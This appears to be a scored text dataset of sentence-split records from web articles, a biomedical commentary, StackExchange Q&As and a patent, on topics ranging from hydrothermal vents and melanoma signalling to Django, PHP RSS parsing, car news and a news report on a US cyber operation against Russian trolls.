0.0009971300605684519,
0.000600040948484093,
0.00103854201734066,
0.028093034401535988,
0.0006390410126186907,
0.0007705361931584775,
0.0008906645234674215,
0.0006316415383480489,
0.0006549836834892631,
0.001459638588130474,
0.0009945177007466555,
0.025233769789338112,
0.07234665006399155,
0.0017404386308044195,
0.0023481235839426517,
0.0006529531092382967,
0.0006240347865968943,
0.0006630562711507082,
0.0008557142573408782,
0.0036832706537097692,
0.0007700590067543089,
0.0007032116991467774,
0.000649607798550278,
0.0007797929574735463,
0.0006683643441647291,
0.0006057015270926058,
0.0013518828200176358,
0.0010015396401286125,
0.007512617856264114,
0.0008086347952485085,
0.0007719866698607802,
0.0007633289787918329,
0.13527977466583252,
0.0009059474687092006,
0.00085098558338359,
0.000697073875926435,
0.0005841389065608382,
0.0005891843466088176,
0.0006870522629469633,
0.02901877835392952,
0.001124874223023653,
0.0006739399977959692,
0.0007387547520920634
] | 0.014325 | 107 |
[
"How Do Hydrothermal Vents Occur? ",
"Why Are Hydrothermal Vents Black? ",
"What Are Black smokers and white smokers? ",
"Where Are Hydrothermal Vents Located?",
"\n\nWhat Is a Hydrothermal Vent?",
"\n\nA hydrothermal vent is a fissure on the seafloor from which geothermally heated water issues. ",
"Hydrothermal vents are commonly found near volcanically active places, areas where tectonic plates are moving apart at spreading centers, ocean basins, and hotspots. ",
"Hydrothermal deposits are rocks and mineral ore deposits formed by the action of hydrothermal vents.",
"\n\nHydrothermal vents exist because the earth is both geologically active and has large amounts of water on its surface and within its crust. ",
"Under the sea, hydrothermal vents may form features called black smokers or white smokers. ",
"Relative to the majority of the deep sea, the areas around submarine hydrothermal vents are biologically more productive, often hosting complex communities fueled by the chemicals dissolved in the vent fluids.",
"\n\nChemosynthetic bacteria and archaea form the base of the food chain, supporting diverse organisms, including giant tube worms, clams, limpets and shrimp. ",
"Active hydrothermal vents are believed to exist on Jupiter’s moon Europa, and Saturn’s moon Enceladus, and it is speculated that ancient hydrothermal vents once existed on Mars.",
"\n\nHow Do Hydrothermal Vents Occur?",
"\n\nHydrothermal vents are the result of seawater percolating down through fissures in the ocean crust in the vicinity of spreading centers or subduction zones (places on Earth where two tectonic plates move away or towards one another). ",
"The cold seawater is heated by hot magma and reemerges to form the vents.",
"\n\nWhy Are Hydrothermal Vents Black?",
"\n\nA venting black smoker emits jets of particle-laden fluids. ",
"The particles are predominantly very fine-grained sulfide minerals formed when the hot hydrothermal fluids mix with near-freezing seawater. ",
"These minerals solidify as they cool, forming chimney-like structures. “",
"Black smokers” are chimneys formed from deposits of iron sulfide, which is black. “",
"White smokers” are chimneys formed from deposits of barium, calcium, and silicon, which are white.",
"\n\nUnderwater volcanoes at spreading ridges and convergent plate boundaries produce hot springs known as hydrothermal vents.",
"\n\nWhat Are Black smokers and white smokers?",
"\n\nBlack smokers Vent\n\nA black smoker or deep sea vent is a type of hydrothermal vent found on the seabed, typically in the bathyal zone (with largest frequency in depths from 2500 m to 3000 m), but also in lesser depths as well as deeper in abyssal zone. ",
"They appear as black, chimney-like structures that emit a cloud of black material. ",
"Black smokers typically emit particles with high levels of sulfur-bearing minerals, or sulfides. ",
"Black smokers are formed in fields hundreds of meters wide when superheated water from below Earth’s crust comes through the ocean floor (water may attain temperatures above 400 °C).",
"\n\nBlack smokers were first discovered in 1979 on the East Pacific Rise by scientists from Scripps Institution of Oceanography. ",
"They were observed using the deep submergence vehicle ALVIN from the Woods Hole Oceanographic Institution. ",
"Now, black smokers are known to exist in the Atlantic and Pacific Oceans, at an average depth of 2100 metres.",
"\n\nThe most northerly black smokers are a cluster of five named Loki’s Castle, discovered in 2008 by scientists from the University of Bergen at 73°N, on the Mid-Atlantic Ridge between Greenland and Norway. ",
"These black smokers are of interest as they are in a more stable area of the Earth’s crust, where tectonic forces are less and consequently fields of hydrothermal vents are less common. ",
"The world’s deepest known black smokers are located in the Cayman Trough, 5,000 m (3.1 miles) below the ocean’s surface.",
"\n\nWhite smoker vents\n\nWhite smoker vents emit lighter-hued minerals, such as those containing barium, calcium and silicon. ",
"These vents also tend to have lower-temperature plumes probably because they are generally distant from their heat source.",
"\n\nBlack and white smokers may coexist in the same hydrothermal field, but they generally represent proximal and distal vents to the main upflow zone, respectively. ",
"However, white smokers correspond mostly to waning stages of such hydrothermal fields, as magmatic heat sources become progressively more distant from the source (due to magma crystallization) and hydrothermal fluids become dominated by seawater instead of magmatic water. ",
"Mineralizing fluids from this type of vents are rich in calcium and they form dominantly sulfate-rich (i.e., barite and anhydrite) and carbonate deposits.",
"\n\nWhere Are Hydrothermal Vents Located?",
"\n\nLike hot springs and geysers on land, hydrothermal vents form in volcanically active areas—often on mid-ocean ridges, where Earth’s tectonic plates are spreading apart and where magma wells up to the surface or close beneath the seafloor."
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0006426692707464099,
0.0007945146062411368,
0.4366120398044586,
0.0006466576596722007,
0.0008624516194686294,
0.0009271067101508379,
0.0006115369615145028,
0.0006238206988200545,
0.0006312076584435999,
0.0011743288487195969,
0.0005982493166811764,
0.0014172270894050598,
0.0006581684574484825,
0.0006426692707464099,
0.000689987966325134,
0.0005809977883473039,
0.0007945146062411368,
0.2721104025840759,
0.0008027263102121651,
0.0005751911667175591,
0.05566936358809471,
0.0017817383632063866,
0.0006090683746151626,
0.4366120398044586,
0.0017886882415041327,
0.02382216788828373,
0.014800411649048328,
0.0020814251620322466,
0.0010893403086811304,
0.000575334532186389,
0.004846483003348112,
0.0007079266360960901,
0.0009244044194929302,
0.001156640937551856,
0.0013139027869328856,
0.0006097258301451802,
0.0006804661243222654,
0.0006575260777026415,
0.0006208145059645176,
0.0006466576596722007,
0.000677733332850039
] | 0.031075 | 41 |
[
"Neurofibromin 1 (*NF1*) is a tumor suppressor that is mutated or deregulated in about 15% and 25% of melanomas, respectively \\[[@R1]\\]. ",
"NF1 negatively regulates RAS by modulating its GTPase activity and controls activation of the downstream phosphoinositide--AKT pathway. ",
"Notably, loss of NF1 promotes not only melanomagenesis but also resistance to BRAF-targeting therapy \\[[@R2], [@R3]\\].",
"\n\nIn this issue of *Oncotarget*, Alon *et al.* ",
"identify the calcium-depended protease calpain 1 (*CAPN1*) as an NF1-binding protein. ",
"The authors found that recombinant CAPN1 induced the degradation of NF1 *in vitro*. ",
"Consistent with this, inhibition of CAPN1 in melanoma cell lines increased NF1 expression independently of the cellular BRAF or NRAS gene mutation status. ",
"Chemical or genetic inactivation of CAPN1 impaired AKT, but not ERK, activity, with concomitant reduction in tumor cell growth in culture. ",
"CAPN1 inhibition also attenuated the intrinsic resistance of melanoma cultures to the MEK inhibitor trametinib. ",
"Thus, authors suggest that a combination of CAPN1 and MEK inhibitors may have the potential to overcome resistance to MEK inhibitors, which currently represents a significant clinical challenge \\[[@R4]\\]. ",
"While innovative, this possibility could be further supported using genetic models of melanoma or using PDX setting. ",
"One need to remember that the possible use of CAPN1 as a target for therapy also poses a challenge, given that CAPN1 may impact additional signaling pathways in melanoma \\[[@R5], [@R6]\\]. ",
"The possibility that NF1 may be a major target in melanoma cannot be excluded, given the example that PTP1b is a key CAPN1 target in platelets \\[[@R7]\\], implying the possibility of tissue specific affinity.",
"\n\nWhen CAPN1 and NF1 mRNA expression were examined in melanoma specimens, the combination of high CAPN1 and low NF1 transcript levels correlated with poor patient prognosis. ",
"This important observation can be complemented by further analysis of CAPN1 and NF1 protein level/activity which may allow to determine whether the tumors in this patient cohort are subject to the regulatory relationship described by Alon *et al.* ",
"Since CAPN1 inhibitors have been tested in clinical trials for Duchenne muscular dystrophy, Alzheimer's disease and cancer \\[[@R5]\\], the possible assessment in patients with RASopathies (such as neurofibromatosis type 1) or melanoma patients with tumors that harbor deregulated NF1 is noted. ",
"Given that pharmacological inhibitor against both CAPN1/2 reduced the growth of melanoma load while promoting metastasis \\[[@R8]\\], the possible use of selective CAPN1 inhibitors should be considered. ",
"In all, the finding of CAPN1 as NF1 regulator in melanoma raises a number of interesting avenues for both basic and translational studies.",
"\n"
] | {
"pile_set_name": "PubMed Central"
} | [
0.00742045184597373,
0.0019106658874079585,
0.001658735447563231,
0.0006852977094240487,
0.0008673203992657363,
0.0007695099920965731,
0.0008863921393640339,
0.0006905851769261062,
0.0008183459867723286,
0.0005808958667330444,
0.0008293251739814878,
0.0007661037379875779,
0.0007463870570063591,
0.0009502645698376,
0.0005454463534988463,
0.0008333629230037332,
0.001028817379847169,
0.0005863973055966198,
0.001995444530621171
] | 0.001293 | 19 |
[
"Q:\n\nPython Django How to get value of logged user in views.py?",
"\n\nI have CustomUser class for logging and another class coach where I have information about my users. ",
"Every user are linked to coach class.",
"\nI would like to create template where my users if they have completed their profile will see their information and if they didn't completed their they will see a message. ",
" I'am learning Python Django and I don't know for example how to get Adresse of my logged users from class coach and check if it is empty or not. ",
"\nAny idea how to fix this? ",
"\nMy views.py\nd\ndef Profile(request):\n u = request.user.username\n x = u.coach.",
"Adresse\n\n if len(x)!= 0:\n completed = \"profile completed\"\n return render(request, 'Profile.html', {'completed': completed})\n else:\n notcompleted = \"please complete your profile\"\n return render(request, 'Profile.html', {'notcompleted': notcompleted})\n\nMy models.py\nclass coach(models.",
"Model):\n user = models.",
"OneToOneField(CustomUser,on_delete=models.",
"CASCADE)\n Adresse = models.",
"TextField(max_length=140, default='DEFAULT VALUE')\n Telephone = models.",
"IntegerField(null=True, max_length=140, default='111')\n\nA:\n\nYour request is added to the templates automatically which means that you have access to it in the template and there is no need to pass it in the context. ",
"It is passed to the template by render function.",
"\nSo write this in your Profile.html template:\n{% if request.user.is_authenticated %}\n <p>\n {% if request.user.coach.",
"Adresse !",
"= 'DEFAULT VALUE' %}\n Profile Completed\n {% else %}\n Please complete your profile\n {% endif %} \n </p>\n{% endif %}\n\nAnd change the Profile method to\ndef Profile(request):\n return render(request, 'Profile.html')\n\nBut I think you should change the Adresse field because I see no reason why would you use a default value. ",
"Just delete the default value and allow it to be blank and null as follows:\nAdresse = models.",
"TextField(max_length=140, blank=True, null=True)\n\nAnd in template instead of {% if request.user.coach.",
"Adresse !",
"= 'DEFAULT VALUE' %} write {% if request.user.coach.",
"Adresse %}\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0006660535582341254,
0.0006146216182969511,
0.0006051351665519178,
0.0005410817102529109,
0.0006582170026376843,
0.0007935626781545579,
0.0008050078176893294,
0.0007071721483953297,
0.0008466693689115345,
0.0007671805797144771,
0.0007952262531034648,
0.0006200738134793937,
0.0006279967492446303,
0.0006093943957239389,
0.001052269246429205,
0.028363628312945366,
0.0007419671164825559,
0.002819647081196308,
0.0008502447162754834,
0.028363628312945366,
0.0007415758445858955,
0.0028674218337982893
] | 0.00343 | 22 |
[
"US disrupted alleged Russian trolls' internet access during midterms: Report Cyber Command chief had signaled more aggressive moves outside U.S. borders.",
"\n\nU.S. cyber operators disrupted internet access for purported Russian trolls on the day of the 2018 midterm elections in a bid to hamper their propaganda operations, according to a report by The Washington Post.",
"\n\nThe operation by U.S. Cyber Command reportedly targeted the St. Petersburg-based Internet Research Agency (IRA), which U.S. officials and prosecutors from Robert Mueller’s special counsel team allege operated an expansive influence operation designed in part to undermine American democracy by sowing discord online ahead of the 2016 presidential election and 2018 midterm elections.",
"\n\n“They basically took the IRA offline,” an individual familiar with the operation told the Post. “",
"They shut ‘em down.”",
"\n\nThe head of U.S. Cyber Command and the National Security Agency (NSA), Gen. Paul Nakasone, previously indicated his cyber warriors would be more aggressive in countering America’s adversaries across borders in cyberspace. ",
"Ahead of the midterms, the U.S. set up the “Russia Small Group,” a joint Cyber Command-NSA task force, specifically to “assist in the securing of the 2018 midterm elections,” he said.",
"\n\n“Acting includes defending forward,” he said in an interview with the military journal Joint Force Quarterly (JFQ). “",
"How do we warn, how do we influence our adversaries, how do we position ourselves in case we have to achieve outcomes in the future? ",
"Acting is the concept of operating outside our borders, being outside our networks, to ensure that we understand what our adversaries are doing.”",
"\n\nThe New York Times previously reported that Cyber Command officials had taken to warning individual alleged Russian operatives suspected of spreading disinformation online that they should not mess with the midterms.",
"\n\nRepresentatives for the NSA and Cyber Command did not immediately return ABC News’ requests for comment.",
"\n\nIt remains to be seen what kind of impact the reported internet disruption may have had, according to experts.",
"\n\nBret Schafer, a social media analyst at the Alliance for Securing Democracy, told ABC News that his organization didn’t notice a dramatic drop off of online propaganda on the day of the midterms, but he noted that his organization wasn’t focused solely on purported IRA accounts. ",
"He also pointed out that by then social media giants Twitter and Facebook already had taken down hundreds of accounts suspected to be linked to the IRA and other nefarious actors.",
"\n\nAfter conducting a review of foreign interference attempts during the midterms, the U.S. intelligence community released a report concluding that while there was no evidence that votes or vote tallies were altered, online influence operations emanating from Russia and other nations persisted similar to the weeks leading up to voting.",
"\n\nJake Williams, a former Defense Department cyber operations official, told ABC News, “I don’t doubt they caused disruptions, I’m only dubious about how much... [But] it’s important to remember that this is a disruption operation, so any level of disruption is considered a success. ",
"It’s not necessary to take the target completely offline to be ‘successful.’”",
"\n\nWilliams said that a potential problem with such operations is that American cyber operators can likely only use whatever secret tactics they used once.",
"\n\n“Unlike a missile that you test and say ‘if you oppose us, you’ve got one of these coming,’ cyber weapons are easy to defend against once you know what’s happening,” he said.",
"\n\nIn his interview with JFQ, Nakasone suggested that U.S. Cyber Command was no longer interested in holding its cyber tools in reserve.",
"\n\n“Unlike the nuclear realm, where our strategic advantage or power comes from possessing a capability or weapons system, in cyberspace it’s the use of cyber capabilities that is strategically consequential,” he said. “",
"The threat of using something in cyberspace is not as powerful as actually using it because that’s what our adversaries are doing to us.”"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0008462112164124846,
0.001085024094209075,
0.0008873267215676606,
0.0007055911119095981,
0.32632312178611755,
0.0008610598160885274,
0.0006429170607589185,
0.0006303230184130371,
0.0006651162984780967,
0.0008325041853822768,
0.0010985150001943111,
0.0006101425969973207,
0.0006656899349763989,
0.0006164592923596501,
0.0007640687981620431,
0.000544588197953999,
0.0006801902200095356,
0.0008213169639930129,
0.0007636531954631209,
0.0027950105722993612,
0.0007026784587651491,
0.0007094350876286626,
0.0035851728171110153
] | 0.015123 | 23 |
[
"Q:\n\nHow to switch Windows Xbox Game Bar between primary and secondary screen\n\nI am so glad I found game bar but it has one huge disadvantage. ",
"I have a laptop with a secondary screen connected and it doesn't have an option to switch screens.",
"\nIt only opens us of my secondary screen, not my primary screen.",
"\nIt doesn't support dragging the window.",
"\nMultiple screens\nExtended display\nI went into the settings and there are no way to select the screen I wish to use. ",
"I wish to use my primary screen the laptop screen to record but if I select Game Bar from either Screen's taskbar it always opens up on my secondary screen\n\nA:\n\nI found a workaround. ",
"I think it is a bug limited to the Taskbar and Xbox Gamebar.",
"\nGamebar doesn't support switching between screens so you have to close and open it.",
"\nHowever the problem is clicking on the taskbar Start button, search or select gamebar doesn't open gamebar on the screen you have entered the search or selected the program. ",
"This is a bug.",
"\nThe workaround for this bug:\nGamebar must not be open or visible on your screen. ",
"If it is then close it.",
"\n\nDecide which screen you wish to open XBox Gamebar.",
"\nOn that screen right click on a blank part of that screen's taskbar and select taskbar settings. ",
"This opens the setting window. ",
"Close that settings window.",
"\nThis time on the same screen taskbar when you select Game Bar from the start button or search for it from the start Start button by typing \"Game\" or clicking the filtered icons it will open XBox Game bar on that screen.",
"\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0011757257161661983,
0.0006778114475309849,
0.0007638114620931447,
0.0013100354699417949,
0.0005640553426928818,
0.0005795087199658155,
0.0007828805246390402,
0.0009564023348502815,
0.0009524889173917472,
0.027888473123311996,
0.0007545264670625329,
0.000712028588168323,
0.0011865845881402493,
0.0007965401746332645,
0.0006745096179656684,
0.008425465784966946,
0.0007206790032796562,
0.001995444530621171
] | 0.002829 | 18 |
[
"Girls’ Generation member YoonA is headed to Europe for her latest acting project, new tvN Friday-Saturday action drama “The K2.”",
"\n\nAccording to a source on September 1, YoonA will be leaving on September 2 for Spain, where she will film a location shoot for the drama.",
"\n\n“The K2” tells the story of a bodyguard who was once a war solider referred to as K2. ",
"YoonA will star alongside Ji Chang Wook and Song Yoon Ah in the drama, where she will play Go Ahn Na, a lonely girl who suffers from panic disorders due to trauma from her past and secludes herself from the world.",
"\n\n“The K2” is scheduled to air its first episode on September 23.",
"\n\nAre you excited for this drama?",
"\n\nSource (1)"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0010434750001877546,
0.0006109890528023243,
0.0007915639434941113,
0.010120093822479248,
0.000736793561372906,
0.0007354954141192138,
0.0006366294692270458
] | 0.002096 | 7 |
[
"Scanning through multiple emails from the last few months, I noticed an interesting theme in reader and listener stories: the pursuit of happiness and the trouble that people get into along the way, which then results in questioning why they’re not happy, whether they ever will be happy, and, based on past experiences, whether their upbringing, past experiences, mistakes, appearance etc., ",
"mean that their future happiness potential is and always has been ‘capped’.",
"\n\nThere’s a hell of a lot of pressure, both internal and external, to be happy, and of course, feeling happier is a good thing, it’s just that pursuing it as if it’s a static destination or the flash car, house or job that you finally land after much blood, sweat and tears, is making us very unhappy. ",
"Thinking about happiness a lot is causing many of us to beat ourselves up, questioning whether we’re ‘good enough’.",
"\n\nWe judge the way that we feel and where we’ve been, by comparing us to others and holding us to an imaginary gold standard of happiness.",
"\n\nWe look at other people and wonder why they find happiness so ‘easy’ and we try things out and wonder why certain feelings still come to us, prompting us to question whether it’s worth the effort. ",
"It’s tempting to settle for less, convincing ourselves that some crumbs is better than no crumbs, even though this only results in us feeling far worse. ",
"So, where does that leave us?",
"\n\nHere’s what I’ve learned, and I say this as someone who only started feelings her feelings just before I started Baggage Reclaim nearly 11.5 years ago: Being happy isn’t natural for some of us because we’ve adopted certain coping and survival habits due to past experiences, causing us to be out of touch with our feelings and who we are, but to also be primed for the other shoe to drop when we find ourselves in good situations, something that we gradually grow out of as our confidence increases but also as we recognise our resilience.",
"\n\nIt’s important for us to acknowledge this because sometimes, when we’re reading or listening to advice about happiness, we can start to feel as if we’re weird because it can seem as if they don’t account for trauma. ",
"It can seem as if it’s advice for people who are already relatively happy and just don’t know how good they have it. ",
"Compassionately acknowledging the journey we’ve travelled can help us to be more patient with ourselves but to also acknowledge our efforts.",
"\n\nWhat we also discover is that as we start to feel better about ourselves, part of our processing and evolving means that issues from the past crop up, so it can be a bit of a juggle.",
"\n\nIt can feel as if we make leaps forward and then cool down a bit to somewhere higher than where we were before but not quite where we’ve just been. ",
"In the future, when we look back, we realise how far we’ve come and actually, how happy we’ve been even with what may be some very testing times, but the ups and downs can cause us to feel very frustrated. ",
"It can feel as if our past keeps interrupting us.",
"\n\nWhen I felt challenged by some issues from childhood that popped up over the last couple of years, I did say to myself, ‘What the eff does the past want now? ",
"Why do I have to go through this?’ ",
"I felt very down and angry for a while, especially because it felt as if I had back-to-back pain. ",
"Just as I would navigate out of one thing, boom!, ",
"and the next thing was on top of me. ",
"It did feel really unfair but eventually, I stopped focusing on that or even putting myself under pressure to be ‘better’, and went back to taking care of me, bit by bit, day by day.",
"\n\nI learned a lot about myself and I realised how important it was for me to go through what I had. ",
"I stopped trying to be in control, hard as that was at times. ",
"Then I went to New York at the end of May 2016 with the kids, to run a workshop and have an adventure. ",
"Nia, my youngest, was sick for pretty much the entire trip. ",
"I’d surrender, then I was frustrated, then surrender and back and forth I went. ",
"We got back to London and I vented in my journal and to Em, finally found the humour and peace in it and said, ‘Right, I truly am ready to let go and be done!’ ",
"It felt great. ",
"Fifteen minutes later, I got the news of my father’s cancer. ",
"I’m laughing at the absurdity and twisted humour of life.",
"\n\nIt’s too much to expect of ourselves that we can be happy all the time, even if we had The Most Jacked Up Childhood Ever or that we’ve been through our fair share of painful experiences in adulthood and feel that we’re owed a peaceful time.",
"\n\nIt’s also too much to expect that we can control life and obliterate anything that doesn’t suit us or that it will come with well-timed intermissions.",
"\n\nWe have to juggle emotional baggage that we offload, declutter and accumulate throughout our life, with living, loving, and being challenged by what life throws us along the way.",
"\n\nWe can be angry, afraid, sad and more, but we become more resilient and enjoy genuine happiness because we keep figuring out how to get back up after we fall and we learn from the journey from ground to standing. ",
"We also figure out what feels good and right for us and how to achieve that authentically instead of subscribing to someone else’s version of what makes ‘everyone’ happy. ",
"We take pleasure in lots of small things that maybe we never used to notice before instead of always having to go ‘big’.",
"\n\nTrying to ‘make’ ourselves happy without actually taking care of us, the person, as in the thoughts that we feed us and the way that we treat us, is like cutting the heads off the weeds while leaving the roots.",
"\n\nSelf-esteem is the sum of how we treat ourselves and that’s not just about the ways in which we go about enjoying more happiness, but also very much about how we treat us through the difficult times. ",
"Try to be just a little more patient, kinder, empathetic, tolerant with you each day–it can make a vast difference to your life.",
"\n\nYour thoughts?",
"\n\nWant more help with reducing emotional baggage and reclaiming you? ",
"Check out 100 Days of Baggage Reclaim and Love, Care, Trust & Respect."
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0005341480718925595,
0.0007024946971796453,
0.01289181225001812,
0.0069528603926301,
0.0006132710841484368,
0.0006557800807058811,
0.0037801081780344248,
0.0007912204600870609,
0.0005398780340328813,
0.000664143415633589,
0.0005545378080569208,
0.0004979738150723279,
0.0013270172057673335,
0.0005824912805110216,
0.0007643033168278635,
0.0008663673070259392,
0.002004459500312805,
0.001577788032591343,
0.001684975461103022,
0.0006993428687565029,
0.013781404122710228,
0.0009534108685329556,
0.0005434567574411631,
0.0009254572214558721,
0.0006310636526905,
0.008468559011816978,
0.01763092167675495,
0.0019027601229026914,
0.0005821818485856056,
0.015697311609983444,
0.022005213424563408,
0.001547421095892787,
0.0007896677125245333,
0.0010241224663332105,
0.001508544897660613,
0.0005842602695338428,
0.0008272265549749136,
0.015481799840927124,
0.000970298598986119,
0.001205989858135581,
0.0007235203520394862,
0.0006778169772587717,
0.000530154153238982
] | 0.003434 | 43 |
[
"Always Tip Your Waitress By Bacchus-Comics Watch\n\n30 Favourites 0 Comments 1K Views\n\nFrank wasn't sure how many beers he ended up having that night, but he couldn't help but get the strange sensation that every time he didn't tip his waitress she got a little angrier...and bigger? ",
"His mind must have been playing tricks on him, she was always a busty bodybuilder right?",
"\n\n\n\nTerror truly swelled in him when they both realized his business partners had left him with the tab for the night.",
"\n\nIMAGE DETAILS Image size 1280x720px 1.07 MB Show More"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.00191830238327384,
0.020542999729514122,
0.0010924371890723705,
0.000743384356610477
] | 0.006074 | 4 |
[
"Tim Beissmann\n\nAs revealed by CarAdvice earlier this month, work is well underway on a higher-performance version of the Mercedes-AMG GT to go head to head with the Porsche 911 GT3.",
"\n\nConfirming plans to expand the GT portfolio when speaking with CarAdvice at the Paris motor show, Mercedes-AMG chief Tobias Moers has shed more light on the Affalterbach-based manufacturer’s vision for the halo model of the GT range.",
"\n\n“A street-legal version of our GT3 racecar – that sounds like a pretty good idea,” Moers told Autocar.",
"\n\nHe confirmed AMG would not copy its German rival by badging the car ‘GT3’, nor would it wear the Black Series label.",
"\n\n“GT3 belongs to the other company,” Moers said, alluding to Porsche. “",
"We will find another name for our car.”",
"\n\nHe said while the racecar-inspired GT may not be significantly quicker to 100k/h or have a dizzying top speed, it would offer considerable improvements over the base GT and hotter GT S in many areas.",
"\n\n“I don’t want to make a dragster that’s only good for doing 0-100km/h in 2.8 seconds. ",
"We need more power, less weight, better aerodynamics and different suspension but the targets should be the power-to-weight ratio, driveability, lap time and tremendous feel.”",
"\n\nWhile cagey on precise figures, Moers indicated a 10 per cent power boost over the 375kW GT S was not an unreasonable suggestion. ",
"Such an increase would take the high-powered version to approximately 412kW. He went on to say that the standard car’s twin-turbocharged 4.0-litre V8 is “currently very under-stressed”, confirming the potential for the company’s engineers to wring much more out of it.",
"\n\nHe also said carbonfibre would play a significant roll cutting between 80-100kg from the GT S, which should see the new variant’s kerb weight fall below 1500kg.",
"\n\nThe lighter and more powerful GT will also benefit from aerodynamic enhancements and wide front and rear tracks for greater grip, creating a package that’s tipped to lap the Nurburgring in Germany more than 10 seconds quicker than the base GT, which stopped the clock at 7:30.",
"\n\nMoers gave no timeline for the new model’s release. ",
"Autocar speculates its launch may coincide with the GT’s introduction to the FIA GT3 championship in 2016.",
"\n\nThe regular Mercedes-AMG GT and GT S models will reach Australian showrooms in June."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006778790266253054,
0.0005471555632539093,
0.0007779447478242218,
0.001063771196641028,
0.000878319435287267,
0.0008442062535323203,
0.0006837166729383171,
0.004028660710901022,
0.0006590023403987288,
0.0007067355327308178,
0.0007599171949550509,
0.000784384086728096,
0.0008367239497601986,
0.0005890426109544933,
0.0005612513632513583,
0.0006601557834073901
] | 0.000941 | 16 |
[
"Check out Pablo from Billy The Kid reppin HOTLIFE. ",
"If you haven’t heard of BTK, they’re Costa Rica’s most beloved modern hardcore band, and obviously part of the HL Family. ",
"You can check em out here: http://es-es.facebook.com/BTK506"
] | {
"pile_set_name": "Pile-CC"
} | [
0.003601822769269347,
0.0015067654894664884,
0.0006893023964948952
] | 0.001933 | 3 |
[
"Q:\n\nXML typeof return nothing (PHP + RSS)\n\nI have a pretty annoying issue. ",
"I'm getting a RSS flow.",
"\nI need to get the image that is inside my tag. ",
"But as you see, the RSS flow is not optimised. ",
"\nSee this example of item : \n<item>\n <title>Element !",
"</title>\n <link>\n link</link>\n <description><div class="field field-name-field-image field-type-image field-label-hidden"><div\n class="field-items"><div class="field-item even" rel="og:image rdfs:seeAlso"\n resource="http://www.test.com/sites/default/files/field/image/image.jpg"><img typeof="foaf:Image"\n src="http://www.test.com/sites/default/files/field/image/image.jpg" width="800" height="571"\n alt="" /></div></div></div><div class="field field-name-body\n field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item\n even" property="content:encoded"><p>Bien que le pain reste <strong>un aliment\n emblématique de la culture française</strong>, il n’échappe pas aux évolutions des modes de vie. ",
"Selon une\n étude du Crédoc, publiée en 2017 par l’observatoire du pain, ce dernier subi un effet de génération négatif. ",
"Au\n même âge, les nouvelles générations consommeraient moins de pain que les anciennes. ",
"Cependant, en analysant d’un\n peu plus près leurs habitudes, il a été constaté qu’ils consommeraient plus de pain sous forme de sandwich ou\n hamburger que les générations précédentes.</p>\n <p>C’est donc pour répondre à une demande croissante de pain moelleux, type pain de mie, que nous avons\n imaginé « Le Moelleux Tradition ». &",
"lt;strong>Élaboré par le MOF, Jean-Yves Guinard</strong>, sa\n recette, n’est réalisable que sur la base exclusive de farine de tradition Française « La Croquise ». ",
"Mis au\n point selon <strong>un procédé unique</strong>, ce pain moelleux, à la recette innovante, se\n caractérise par <strong>une croûte très fine et une mie extrêmement moelleuse</strong>.</p>\n <p><strong>Sans additif, sucre ni matière grasse</strong>, sa composition des plus salutaire,\n saura séduire tous les clients en quêtes d’authenticité et de naturel. ",
"En effet, suite aux différentes crises\n sanitaires et médiatiques, les consommateurs se disent de plus en plus inquiets quant aux ingrédients qu’ils\n mangent. ",
"C’est pourquoi, ils sont plus impliqués et regardants quant aux composants de leurs aliments.</p>\n <p>Dans une volonté constante d’accompagner au plus près nos artisans boulangers, nous avons conçu,\n spécialement pour l’occasion, une barquette des plus attrayantes. ",
"Inédite en boulangerie artisanale, cette\n barquette aux couleurs de la Croquise mettra en avant ce nouveau pain et lui apportera un maximum de visibilité.",
"\n </p>\n <p>Pour télécharger notre argumentaire de vente, cliquez sur le lien ci-dessous :<br /><a href="http://www.test.com/sites/all/themes/nexus/images/pdf-telecharger/pdf.pdf"\n target="_blank"><strong><u>Télécharger l'argumentaire</u></strong></a></p>\n </div></div></div><ul class="links inline"><li class="addtoany first\n last"><span><span class="a2a_kit a2a_kit_size_32 a2a_target addtoany_list" id="da2a_1">\n <a class="a2a_button_facebook"></a>\n <a class="a2a_button_twitter"></a>\n <a class="a2a_button_google_plus"></a>\n <a class="a2a_dd addtoany_share_save" href="https://www.addtoany.com/share#url=http%3A%2F%2Fwww.test.com%2Fcontent%2Ftest&amp;title=La%20Croquise%20fait%20sa%20rentr%C3%A9e%20avec%20son%20Moelleux%20Tradition%20%21"></a>\n\n </span>\n <script type="text/javascript">\n <!--//--><![CDATA[//><!--\n if(window.da2a)da2a.script_load();\n //--><!]]>\n </script></span></li>\n </ul>\n </description>\n <pubDate>Thu, 27 Sep 2018 13:08:31 +0000</pubDate>\n</item>\n\nI have this code for go through my RSS : \n<?",
"php\n $url = \"myfile.xml\";\n $rss = simplexml_load_file($url);\n\nforeach ($rss->channel->item as $item) {\n // echo \"<pre>\".print_r(htmlspecialchars($item->description), true).\"</pre>\";\n var_dump($item->xpath('description/typeof=\"foaf:Image\"'));\n // echo \"<pre>\".print_r($item->xpath(\"typeof=\\\"foaf:Image\\\"\"), true).\"</pre>\";\n $i++;\n if ($i < 4) {\n $itemsReturned[] = array(\n $item,\n );\n }\n}\n?",
">\n\nAnd I (think I) need to use **typeof=\\\"foaf:Image** to get the image inside my description tag, but I have nothing in return, probably due to the format of data in this tag.",
"\n\nA:\n\nThis is what I've ended up with, and it's working, if it could help...\npreg_match('/img.+src=[\\'\"](?P<src>.+?)[\\'\"].*>/i', $item->description, $image);\n$image['src']\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0022653446067124605,
0.0006028107018209994,
0.0007635458605363965,
0.0006022729212418199,
0.0008358449558727443,
0.0013640767429023981,
0.0317920483648777,
0.004374599549919367,
0.003497884375974536,
0.0007637288654223084,
0.0017772811697795987,
0.0011816381011158228,
0.0019466219237074256,
0.0013288561021909118,
0.016372932121157646,
0.0011399748036637902,
0.000702984631061554,
0.0006609659758396447
] | 0.003999 | 18 |
[
"1. ",
"Field of the Invention\nThe present invention relates to a structure for the bearings of a throttle shaft in a carburetor, and particularly to a carburetor that mixes lubricating oil with an air-fuel mixture supplied to a combustion chamber in order to lubricate respective parts of the engine.",
"\n2. ",
